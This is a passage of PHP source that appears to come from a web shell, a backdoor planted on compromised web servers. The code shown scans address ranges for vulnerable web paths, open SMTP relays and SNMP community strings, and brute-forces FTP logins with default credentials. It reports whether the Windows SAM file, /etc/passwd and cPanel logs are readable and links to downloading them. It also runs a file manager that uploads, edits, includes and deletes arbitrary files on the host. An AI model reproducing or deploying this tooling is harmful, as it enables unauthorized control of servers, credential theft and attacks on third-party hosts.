  467. if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
  468. flusheR();
  469. }
  470. elseif(strstr($page,'@ADMINDIRS'))
  471. foreach ($admin as $cg){
  472. $adminch=str_replace('@ADMINDIRS',$cg,$page);
  473. $url="http://$ip$adminch";
  474. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  475. if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
  476. flusheR();
  477. }
  478. elseif(strstr($page,'@USERS'))
  479. foreach ($users as $cg){
  480. $userch=str_replace('@USERS',$cg,$page);
  481. $url="http://$ip$userch";
  482. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  483. if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
  484. flusheR();
  485. }
  486. elseif(strstr($page,'@NUKE'))
  487. foreach ($nuke as $cg){
  488. $nukech=str_replace('@NUKE',$cg,$page);
  489. $url="http://$ip$nukech";
  490. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  491. if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
  492. flusheR();
  493. }
  494. else{
  495. $url="http://$ip$page";
  496. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  497. if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
  498. flusheR();
  499. }
  500. }
  501. }
  502. }
  503. if(!empty($_REQUEST['smtprelay'])){
  504. if(checkthisporT($ip,25,$timeout)){
  505. $res='';
  506. $res=checksmtP($ip,$timeout);
  507. if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}flusheR();
  508. }
  509. }
  510. if(!empty($_REQUEST['snmpscanner'])){
  511. if(checkthisporT($ip,161,$timeout,1)){
  512. $com=$_REQUEST['com'];
  513. $coms=$res="";
  514. if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com;
  515. foreach ($c as $v){
  516. $ret=snmpchecK($ip,$v,$timeout);
  517. if($ret)$coms .=" $v ";
  518. }
  519. if ($coms!=""){echo "$ip) SNMP FOUND: $coms<br>";$output=1;}
  520. flusheR();
  521. }
  522. }
  523. if(!empty($_REQUEST['ftpscanner'])){
  524. if(checkthisporT($ip,21,$timeout)){
  525. $usps=explode(',',$_REQUEST['userpass']);
  526. foreach ($usps as $v){
  527. $user=substr($v,0,strpos($v,':'));
  528. $pass=substr($v,strpos($v,':')+1);
  529. if($pass=='[BLANK]')$pass='';
  530. $ftp=@ftp_connect($ip,21,$timeout);
  531. if ($ftp){
  532. if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) <a href=\"ftp://$ip\" target=\"_blank\">$ip</a> System type: ".ftp_systype($ftp)."<br>";}
  533. }
  534. flusheR();
  535. }
  536. }
  537. }
  538. if($output)echo "<hr size=1 noshade>";
  539. flusheR();
  540. }
  541. $time=time()-$start;
  542. echo "Done! ($time seconds)</font>";
  543. if(!empty($buglist))unlink($buglist);
  544. }
  545. else{
  546. $chbox=(extension_loaded('sockets'))?"<input type=checkbox name=tcp value=1 checked>TCP<input type=checkbox name=udp value=1 checked>UDP":"<input type=hidden name=tcp value=1>";
  547. echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td>Port scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">Target:</td><td bgcolor=\"#808080\" width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor=\"#666666\" width=25%>From:</td><td bgcolor=\"#666666\" width=25%><input name=fromport type=text value=\"1\" size=5></td></tr><tr><td bgcolor=\"#808080\" width=25%>To:</td><td bgcolor=\"#808080\" width=25%><input name=toport type=text value=\"1024\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Timeout:</td><td bgcolor=\"#666666\"><input name=timeout type=text value=\"2\" size=5></td><tr><td width=\"25%\" bgcolor=\"#808080\">$chbox</td><td bgcolor=\"#808080\" align=\"right\">$hcwd<input type=submit class=buttons name=portscanner value=Scan></td></tr></form></table>";
  548. $host = substr($host,0,strrpos($host,"."));
  549. echo "<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\" name=security><td>security scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\" width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style=\"border-width:1px;background-color:#808080;\" name=nslookup checked>NS lookup</td></tr><tr><td bgcolor=\"#666666\" width=25%>To:</td><td bgcolor=\"#666666\" width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Timeout:</td><td bgcolor=\"#808080\"><input name=timeout type=text value=\"2\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ipscanner value=1 checked onClick=\"document.security.port.disabled = !document.security.port.disabled;\" style=\"border-width:1px;background-color:#666666;\">Port scanner:</td><td bgcolor=\"#666666\"><input name=port type=text value=\"21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=httpbanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Get web banner</td><td bgcolor=\"#808080\"><input type=checkbox name=httpscanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Webserver security scanning&nbsp;&nbsp;&nbsp;<input type=checkbox name=smtprelay value=1 checked style=\"border-width:1px;background-color:#808080;\">SMTP relay check</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ftpscanner value=1 checked onClick=\"document.security.userpass.disabled = !document.security.userpass.disabled;\" style=\"border-width:1px;background-color:#666666;\">FTP password:</td><td bgcolor=\"#666666\"><input name=userpass type=text value=\"anonymous:admin@nasa.gov,ftp:ftp,Administrator:[BLANK],guest:[BLANK]\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=snmpscanner value=1 onClick=\"document.security.com.disabled = !document.security.com.disabled;\" checked style=\"border-width:1px;background-color:#808080;\">SNMP:</td><td bgcolor=\"#808080\"><input name=com type=text value=\"public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,agent,manager,OrigEquipMfr,default,tivoli,openview,community,snmp,snmpd,Secret C0de,security,rmon,rmon_admin,hp_admin,NoGaH$@!,agent_steal,freekevin,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,apc,TENmanUFactOryPOWER,proxy,core,regional\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=\"right\"><input type=submit class=buttons name=securityscanner value=Scan></td></tr></form></table></center><br><center>";
  550. }
  551. }
  552. function sysinfO(){
  553. global $windows,$disablefunctions,$safemode;
  554. $cwd= getcwd();
  555. $mil="<a target=\"_blank\" href=\"http://www.milw0rm.org/related.php?program=";
  556. $basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
  557. if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) $CPU = $_SERVER["PROCESSOR_IDENTIFIER"];
  558. $osver=$tsize=$fsize='';
  559. if ($windows){
  560. $osver = " (".shelL("ver").")";
  561. $sysroot = shelL("echo %systemroot%");
  562. if (empty($sysroot)) $sysroot = $_SERVER["SystemRoot"];
  563. if (empty($sysroot)) $sysroot = getenv("windir");
  564. if (empty($sysroot)) $sysroot = "Not Found";
  565. if (empty($CPU))$CPU = shelL("echo %PROCESSOR_IDENTIFIER%");
  566. for ($i=66;$i<=90;$i++){
  567. $drive= chr($i).':\\';
  568. if (is_dir($drive)){
  569. $fsize+=@disk_free_space($drive);
  570. $tsize+=@disk_total_space($drive);
  571. }
  572. }
  573. }else{
  574. $fsize=disk_free_space('/');
  575. $tsize=disk_total_space('/');
  576. }
  577. $disksize="Used spase: ". showsizE($tsize-$fsize) . " Free space: ". showsizE($fsize) . " Total space: ". showsizE($tsize);
  578. if (empty($CPU)) $CPU = "Unknow";
  579. $os = php_unamE();
  580. $osn=php_unamE('s');
  581. if(!$windows){
  582. $ker = php_unamE('r');
  583. $o=($osn=="Linux")?"Linux+Kernel":$osn;
  584. $os = str_replace($osn,"${mil}$o\">$osn</a>",$os);
  585. $os = str_replace($ker,"${mil}Linux+Kernel\">$ker</a>",$os);
  586. $inpa=':';
  587. }else{
  588. $sam = $sysroot."\\system32\\config\\SAM";
  589. $inpa=';';
  590. $os = str_replace($osn,"${mil}MS+Windows\">$osn</a>",$os);
  591. }
  592. $software=str_replace("Apache","${mil}Apache\">Apache</a>",$_SERVER['SERVER_SOFTWARE']);
  593. echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td>Server information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\">".$_SERVER["HTTP_HOST"]; if (!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Operation system:</td><td bgcolor=\"#808080\">$os$osver</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Web server application:</td><td bgcolor=\"#666666\">$software</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">CPU:</td><td bgcolor=\"#808080\">$CPU</td></tr><td width=\"25%\" bgcolor=\"#666666\">Disk status:</td><td bgcolor=\"#666666\">$disksize</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">User domain:</td><td bgcolor=\"#808080\">";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">User name:</td><td bgcolor=\"#666666\">";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user();else echo "Unknow"; echo "</td></tr>";
  594. if ($windows){
  595. echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Windows directory:</td><td bgcolor=\"#808080\"><a href=\"".hlinK("seC=fm&workingdiR=$sysroot")."\">$sysroot</a></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Sam file:</td><td bgcolor=\"#666666\">";if (is_readable(($sam)))echo "<a href=\"".hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam")."\">Readable</a>"; else echo "Not readable";echo "</td></tr>";
  596. }
  597. else
  598. {
  599. echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Passwd file:</td><td bgcolor=\"#808080\">";
  600. if (is_readable('/etc/passwd')) echo "<a href=\"".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."\">Readable</a>"; else echo'Not readable';echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">";
  601. if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "<a href=\"".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."\">Readable</a>"; else echo "Not readable";}else echo "Not found";
  602. echo "</td></tr>";
  603. }
  604. $uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR');
  605. echo "<tr><td width=\"25%\" bgcolor=\"#808080\">${mil}PHP\">PHP</a> version:</td><td bgcolor=\"#808080\"><a href=\"?=".php_logo_guid()."\" target=\"_blank\">".PHP_VERSION."</a> (<a href=\"".hlinK("seC=phpinfo&workingdiR=$cwd")."\">more...</a>)</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td><td bgcolor=\"#666666\">";if (function_exists('zend_version')) echo "<a href=\"?=".zend_logo_guid()."\" target=\"_blank\">".zend_version()."</a>";else echo "Not Found";echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Include path:</td><td bgcolor=\"#808080\">".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."</td><tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td><td bgcolor=\"#666666\">";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." ";echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Disabled functions:</td><td bgcolor=\"#808080\">";if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo"</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">$safemode</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Open base dir:</td><td bgcolor=\"#808080\">$basedir</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td><td bgcolor=\"#666666\">";$sq="";if(function_exists('mysql_connect')) $sq= "${mil}MySQL\">MySQL</a> ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\">MSSQL</a> ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\">Oracle</a> ";if(function_exists('sqlite_open')) $sq.= " SQLite ";if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\">PostgreSQL</a> ";if(function_exists('msql_connect')) $sq.= " mSQL ";if(function_exists('mysqli_connect'))$sq.= " MySQLi ";if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL ";if ($sq=="") $sq= "Nothing"; echo "$sq</td></tr>";if (function_exists('curl_init')) echo "<tr><td width=\"25%\" bgcolor=\"#808080\">cURL support:</td><td bgcolor=\"#808080\">Enabled ";if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo "</td></tr>";echo "<tr><td>User information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">IP:</td><td bgcolor=\"#666666\">$uip</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Agent:</td><td bgcolor=\"#808080\">".getenv('HTTP_USER_AGENT')."</td></tr></table>";
  606. }
  607. function checksuM($file){
  608. global $et;
  609. echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td width=\"10%\" bgcolor=\"#666666\"><b>MD5:</b> <font color=#F0F0F0>".md5_file($file)."</font><br><b>SHA1:</b> <font color=#F0F0F0>".sha1_file($file)."</font>$et";
  610. }
  611. function listdiR($cwd,$task){
  612. $c= getcwd();
  613. $dh = opendir($cwd);
  614. while ($cont=readdir($dh)){
  615. if($cont=='.' || $cont=='..')continue;
  616. $adr = $cwd.DIRECTORY_SEPARATOR.$cont;
  617. switch ($task){
  618. case '0':if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break;
  619. case '1':if(is_writeable($adr))if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break;
  620. case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";break;
  621. case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break;
  622. case '4':if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";break;
  623. case '5':if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break;
  624. case '6':if(preg_match("@".$_REQUEST['search']."@",$cont)){if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";}break;
  625. case '7':if(strstr($cont,$_REQUEST['search'])){if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";}break;
  626. }
  627. if (is_dir($adr)) listdiR($adr,$_REQUEST['task']);
  628. }
  629. }
  630. if (!function_exists("posix_getpwuid") && !strstr($disablefunctions,'posix_getpwuid')) {function posix_getpwuid($u) {return 0;}}
  631. if (!function_exists("posix_getgrgid") && !strstr($disablefunctions,'posix_getgrgid')) {function posix_getgrgid($g) {return 0;}}
  632. function filemanager(){
  633. global $windows,$msgbox,$errorbox,$t,$et,$hcwd;
  634. $cwd= getcwd();
  635. $table = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\">";
  636. $td1n="<td width=\"22%\" bgcolor=\"#666666\">";
  637. $td2m="<td width=\"22%\" bgcolor=\"#808080\">";
  638. $td1i="<td width=\"5%\" bgcolor=\"#666666\">";
  639. $td2i="<td width=\"5%\" bgcolor=\"#808080\">";
  640. $tdnr="<td width=\"22%\" bgcolor=\"#800000\">";
  641. $tdw="<td width=\"22%\" bgcolor=\"#006E00\">";
  642. if (!empty($_REQUEST['task'])){
  643. if (!empty($_REQUEST['search'])) $_REQUEST['task'] = 7;
  644. if (!empty($_REQUEST['re'])) $_REQUEST['task'] = 6;
  645. echo "<font color=blue><pre>";
  646. listdiR($cwd,$_REQUEST['task']);
  647. echo "</pre></font>";
  648. }else{
  649. if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])|| !empty($_REQUEST['rN'])){
  650. if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){
  651. $title="Destination";
  652. $ad = (!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV'];
  653. $dis =(!empty($_REQUEST['cP']))?'Copy':'Move';
  654. }else{
  655. $ad = $_REQUEST['rN'];
  656. $title ="New name";
  657. $dis = "Rename";
  658. }
  659. if (!!empty($_REQUEST['deS'])){
  660. echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"100%\" bgcolor=\"#333333\">$title:</td></tr><tr>$td1n<form method=\"POST\"><input type=text value=\"";if(empty($_REQUEST['rN'])) echo $cwd; echo "\" size=60 name=deS></td></tr><tr>$td2m$hcwd<input type=hidden value=\"".htmlspecialchars($ad)."\" name=cp><input class=buttons type=submit value=$dis></td></tr></form></table></center>";
  661. }else{
  662. if (!empty($_REQUEST['rN'])) renamE($ad,$_REQUEST['deS']);
  663. else{
  664. copy($ad,$_REQUEST['deS']);
  665. if (!empty($_REQUEST['mV']))unlink($ad);
  666. }
  667. }
  668. }
  669. if (!empty($_REQUEST['deL'])) { if (is_file($_REQUEST['deL'])|| is_link($_REQUEST['deL'])) unlink($_REQUEST['deL']);elseif(is_dir($_REQUEST['deL'])) {
  670. $dh = opendir($_REQUEST['deL']);
  671. $d="";
  672. while ($cont=readdir($dh)){$d++;}
  673. if ($d>2) echo "$errorbox\"".htmlspecialchars($_REQUEST['del'])."\" is not empty!<td><tr></table><br>";else rmdir($_REQUEST['del']);}}
  674. if (!empty($_FILES['uploadfile'])){
  675. move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']);
  676. echo "$msgbox<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et<br>";
  677. }
  678. $select = "<select onChange=\"window.location=this.options[this.selectedIndex].value;\"><option value=\"".hlinK("seC=fm&workingdiR=$cwd")."\">--------</option><option value=\"";
  679. if (!empty($_REQUEST['newf'])){
  680. if (!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],"");}
  681. if (!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);}
  682. }
  683. if ($windows){
  684. echo "$table<td><b>Drives:</b> ";
  685. for ($i=66;$i<=90;$i++){$drive= chr($i).':';
  686. if (is_dir($drive."\\")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title=\"$vol\" href=".hlinK("seC=fm&workingdiR=$drive\\").">$drive\\</a>";}
  687. }
  688. echo $et;
  689. }
  690. echo "$table<form method=\"POST\"><tr><td width=\"20%\"><b>Location:</b><input type=text name=workingdiR size=135 value=\"".getcwd()."\"><input class=buttons type=submit value=Change></td></tr></form></table>";
  691. $file=array();$dir=array();$link=array();
  692. if($dirhandle = opendir($cwd)){
  693. while ($cont=readdir($dirhandle)){
  694. if (is_dir($cwd.DIRECTORY_SEPARATOR.$cont)) $dir[]= $cont;
  695. elseif (is_file($cwd.DIRECTORY_SEPARATOR.$cont)) $file[]=$cont;
  696. else $link[]=$cont;
  697. }
  698. closedir($dirhandle);
  699. sort($file);sort($dir);sort($link);
  700. echo "<table border=1 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td width=\"30%\" bgcolor=\"#333333\" align=\"center\">Name</td><td width=\"13%\" bgcolor=\"#333333\" align=\"center\">Owner</td><td width=\"12%\" bgcolor=\"#333333\" align=\"center\">Modification time</td><td width=\"12%\" bgcolor=\"#333333\" align=\"center\">Last change</td><td width=\"5%\" bgcolor=\"#333333\" align=\"center\">Info</td><td width=\"7%\" bgcolor=\"#333333\" align=\"center\">Size</td><td width=\"15%\" bgcolor=\"#333333\" align=\"center\">Actions</td></tr>";
  701. $i=0;
  702. foreach($dir as $dn){
  703. echo "<tr>";
  704. $i++;
  705. $own="Unknow";
  706. $owner=posix_getpwuid(fileowner($dn));
  707. $mdate=date("Y/m/d H:i:s",filemtime($dn));
  708. $adate=date("Y/m/d H:i:s",fileatime($dn));
  709. $diraction = $select.hlinK("seC=fm&workingdiR=".realpath($dn))."\">Open</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."\">Remove</option></select></td>";
  710. if ($owner) $own = "<a title=\" Shell: ".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>";
  711. if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
  712. if (is_writeable($dn)) echo $tdw;elseif (!is_readable($dn)) echo $tdnr;else echo $cl2;
  713. echo "<a href=\"".hlinK("seC=fm&workingdiR=".realpath($dn))."\">";
  714. if (strlen($dn)>45)echo substr($dn,0,42)."...";else echo $dn;echo "</a>";
  715. echo $cl1."$own</td>";
  716. echo $cl1."$mdate</td>";
  717. echo $cl1."$adate</td>";
  718. echo "</td>${cl1}D";if (is_readable($dn)) echo "R";if (is_writeable($dn)) echo "W";echo "</td>";
  719. echo "$cl1------</td>";
  720. echo $cl2.$diraction;
  721. echo "</tr>" ;
  722. flusheR();
  723. }
  724. foreach($file as $fn){
  725. echo "<tr>";
  726. $i++;
  727. $own = "Unknow";
  728. $owner = posix_getpwuid(fileowner($fn));
  729. $fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."\">Open</option><option value=\"".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."\">Edit</option><option value=\"".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."\">Download</option><option value=\"".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."\">Hex view</option><option value=\"".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."\">image</option><option value=\"".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."\">Include</option><option value=\"".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."\">Checksum</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."\">Copy</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."\">Move</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$fn")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."\">Remove</option></select></td>";
  730. $mdate = date("Y/m/d H:i:s",filemtime($fn));
  731. $adate = date("Y/m/d H:i:s",fileatime($fn));
  732. if ($owner) $own = "<a title=\"Shell:".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>";
  733. $size = showsizE(filesize($fn));
  734. if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
  735. if (is_writeable($fn)) echo $tdw;elseif (!is_readable($fn)) echo $tdnr;else echo $cl2;
  736. echo "<a href=\"".hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."\">";
  737. if (strlen($fn)>45)echo substr($fn,0,42)."...";else echo $fn;echo "</a>";
  738. echo $cl1."$own</td>";
  739. echo $cl1."$mdate</td>";
  740. echo $cl1."$adate</td>";
  741. echo "</td>$cl1";if (is_readable($fn)) echo "R";if (is_writeable($fn)) echo "W";if (is_executable($fn)) echo "X";if (is_uploaded_file($fn)) echo "U"; echo "</td>";
  742. echo "$cl1$size</td>";
  743. echo $td2m.$fileaction;
  744. echo "</tr>" ;
  745. flusheR();
  746. }
  747. foreach($link as $ln){
  748. $own = "Unknow";
  749. $i++;
  750. $owner = posix_getpwuid(fileowner($ln));
  751. $linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."\">Open</option><option value=\"".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."\">Edit</option><option value=\"".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."\">Download</option><option value=\"".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."\">Hex view</option><option value=\"".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."\">image</option><option value=\"".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."\">Include</option><option value=\"".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."\">Checksum</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."\">Copy</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."\">Move</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."\">Remove</option></select></td>";
  752. $mdate = date("Y/m/d H:i:s",filemtime($ln));
  753. $adate = date("Y/m/d H:i:s",fileatime($ln));
  754. if ($owner) $own = "<a title=\"Shell: ".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>";
  755. echo "<tr>";
  756. $size = showsizE(filesize($ln));
  757. if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
  758. if (is_writeable($ln)) echo $tdw;elseif (!is_readable($ln)) echo $tdnr;else echo $cl2;
  759. echo "<a href=\"".hlinK("seC=openit&namE=$ln&workingdiR=$cwd")."\">";
  760. if (strlen($ln)>45)echo substr($ln,0,42)."...";else echo $ln;echo "</a>";
  761. echo $cl1."$own</td>";
  762. echo $cl1."$mdate</td>";
  763. echo $cl1."$adate</td>";
  764. echo "</td>${cl1}L";if (is_readable($ln)) echo "R";if (is_writeable($ln)) echo "W";if (is_executable($ln)) echo "X"; echo "</td>";
  765. echo "$cl1$size</td>";
  766. echo $cl2.$linkaction;
  767. echo "</tr>" ;
  768. flusheR();
  769. }
  770. }
  771. $dc = count($dir)-2;
  772. if($dc==-2)$dc=0;
  773. $fc = count($file);
  774. $lc = count($link);
  775. $total = $dc + $fc + $lc;
  776. echo "$table<tr><td><form method=POST>Find:<input type=text name=search><input type=checkbox name=re value=1 style=\"border-width:1px;background-color:#333333;\" checked>Regular expressions <input type=submit class=buttons value=Find>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST>$hcwd<input type=hidden value=\"fm\" name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>$et</tr></table><table width=\"100%\"><tr><td width=\"50%\"><br><table bgcolor=#333333 border=0 width=\"65%\"><td><b>Summery:</b> Total: $total Directories: $dc Files: $fc Links: $lc</td></table><table bgcolor=#333333 border=0 width=\"65%\"><td width=\"100%\" bgcolor=";if (is_writeable($cwd)) echo "#006E00";elseif (!is_readable($cwd)) echo "#800000";else "#333333"; echo ">Current directory status: "; if (is_readable($cwd)) echo "R";if (is_writeable($cwd)) echo "W" ;echo "</td></table><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"65%\"><tr><td width=\"100%\" bgcolor=\"#333333\">New:</td></tr><tr>$td1n<form method=\"POST\"><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value=\"File\"><input class=buttons type=submit name=newdir value=\"Folder\"></td></tr></form></table></td><td width=\"50%\"><br>${t}Upload:</td></tr><tr>$td1n<form method=\"POST\" enctype=\"multipart/form-data\"><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=Upload></td></tr>$td1n Note: Max allowed file size to upload on this server is ".ini_get('upload_max_filesize')."</td></tr></form></table>$et";
  777. }
  778. }
